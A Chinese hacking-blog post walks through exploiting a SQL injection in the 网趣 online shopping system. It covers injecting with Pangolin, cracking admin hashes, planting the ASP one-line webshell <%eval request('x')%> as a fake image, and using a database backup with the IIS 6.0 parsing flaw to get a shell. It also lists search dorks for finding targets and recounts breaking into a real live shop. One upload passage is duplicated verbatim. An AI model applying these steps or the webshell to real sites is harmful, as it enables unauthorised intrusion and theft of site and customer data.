危险漫步博客
新鲜的“黑客思维”就是从全新的角度看待黑客技术,从更高的层面去思考;专注于黑客精神及技术交流分享的独立博客。
文章2306 浏览20614201

又见网上商城购物系统注入漏洞

网趣网上购物系统又出注入漏洞了。为什么说又呢,因为这不是网趣网上购物系统第一次出注入漏洞,就在大约1个月前被人爆出根目录下的文件price.asp存在注入漏洞,现在又被人发现了新的注入漏洞。

一、漏洞简单分析

漏洞的发现和公布者是流浪的风,他的漏洞题目是“网趣网上购物系统时尚版注入漏洞”,在实际测试时间趣网上购物系统时尚版以前的版本也存在这个漏洞。出注入漏洞的文件是admin目录下的editorderform.asp。

可以看到变量namekey只过滤了两边的空格就带入了SQL查询,注入漏洞产生,又由于editorderform.asp虽然在管理目录admin下,却没有做任何权限验证,导致任何人都可以访问这个文件。

二、漏洞利用方法

要利用这个漏洞,首先要注册一个用户,因为你注册的用户名就是变量namekey的值。我从网上下载了网趣网上购物系统时尚版的源代码,在虚拟机里的Windows系统中用IIS把程序运行了起来。

点图中的注册按钮来注册一个用户,怎么注册我就不介绍了,注册时必填的东西随便写点什么就可以完成注册。我注册了一个用户名为test,密码为123456的用户。

下面我们来下一个订单,随便点一个商品,点“购买”,接着点“去收银台”,再点“OK,下一步”,还是点“OK,下一步”,最后点“完成”后就会出现“恭喜订单提交成功”的提示,并且生成了订单号。

到这里进行注入的准备工作就做完了,下面可以进行注入了。在浏览器中访问地址,其中地址中的127.0.0.1就是网趣网上购物系统网站的域名或IP地址,test就是我注册的用户名test,页面中的“1笔”是注入的关键字。

我们把地址放到pangolin中,“KeyWord(关键字)”写上“1笔”,点“Check”按钮进行检测。

显示是一个String(字符)型注入点,数据库为Access。下面来猜管理员的用户名和密码,点“Datas”来到猜数据的地方,网趣网上购物系统注存放管理员信息的表是cnhww,这个表名不在pangolin默认表名列表中,因此在Table/Column下面的编辑框中右键,选择“Add Table”来添加cnhww这个表。

添加完表cnhww后直接双击cnhww表就开始猜解表cnhww中的字段名,很快就有了结果,点击表名前的加号发现猜到了5个字段名。对我们有用的是admin和password两个字段名,分别对应的是网趣网上购物系统后台管理员的用户名和密码,选中这两个字段名,点“Datas”按钮开始猜解用户名和密码。

双击猜到的结果,下面结果框中会出现猜解出的用户名和密码,并且可以复制,方便保存和进一步处理猜解出的结果。猜解出的管理员用户名为admin,密码为7a57a743894a0e,到在线破解网站破解结果为admin。

网趣网上购物系统注的默认后台目录为admin,直接访问就来到了后台的登录页面,用得到的用户名和密码顺利后入后台。

在后台发现有数据库备份的地方,考虑通过备份数据库获得shell。但在备份数据库时发现不能自定义备份出来的文件的名字,无论怎么备份备份后的文件名都是shop.mdb,好在可以自定义备份出来的文件所在的目录,可以通过把shell备份到类似xxx.asp的文件夹中获得shell,利用的是IIS6.0的解析漏洞,前提是IIS的版本是6.0,好在现在大多数asp服务器用的都是IIS6.0,很容易满足条件。

下面就用这个思路来获取shell。首先来上传一句话木马,把asp一句话木马代码<%eval request("x")%>保存到一个文本文件中,然后把这个文本文件重名名为asp.jpg,在网趣网上购物系统后台点击“商品管理”下的“添加商品”,然后在“商品图片”上传的地方点“上传小图片”来上传一句话木马,把asp-句话木马代码<%eval request("x")%>保存到一个文本文件中,然后把这个文本文件重名名为asp.jpg,在网趣网上购物系统后台点击“商品管理”下的“添加商品”,然后在“商品图片”上传的地方点“上传小图片”来把我们的asp.jpg上传上去,尽管提示文件格式不正确,还是上传成功了,并且给出了文件上传后的地址upfile/proimage/2010101321104242019.jpg。来备份数据库,点“数据处理”下的“数据备份”就来到了备份数据库的地方,当前数据库路径默认为../cnhwwdata/cnhww.asp,修改为../upfile/proimage/2010101321104242019.jpg,也就是修改为上传的一句话木马的地址,备份数据库目录默认为../Databackup,修改为../Databackup.asp,点“开始备份”进行备份,提示“数据库备份完成”,好像备份成功了,备份出来的文件在Databackup.asp目录下,文件名为shop.mdb,用lake2的eval最小马发送端连接,写上密码x,顺利得到shell。 

三、实战网上拿shell

上面我在虚拟机里演示了利用这个漏洞拿shell的过程,下面到网上实战拿个shell。别人给出了一个搜索采用网趣网上购物系统网站的关键词inurl:trends.asp?id=,我再给出两个搜索关键词,“软件著作权证书登记号”和“顾客您好,购买商品请先登录”。

通过搜索软件著作权证书登记号找到了一个采用网趣网上购物系统的网站。挂上vpn,注册了一个名为chuntian的用户登录了进去。

随便购买一个商品生成一个订单,得到注入地址,用pangolin猜解出了管理员的用户名admin和密码4814af6dd6a2224c,密码破解后的结果为820926。用得到的用户名和密码进入后台,发现版本为网趣网上购物系统,说明最新版网趣网上购物系统时尚版以前的版本也受这个漏洞的影响。通过备份也拿到了shell。

最后那是那句老话,网趣网上购物系统是一个网店系统,在练手拿shell的时候千万注意不要做任何破坏。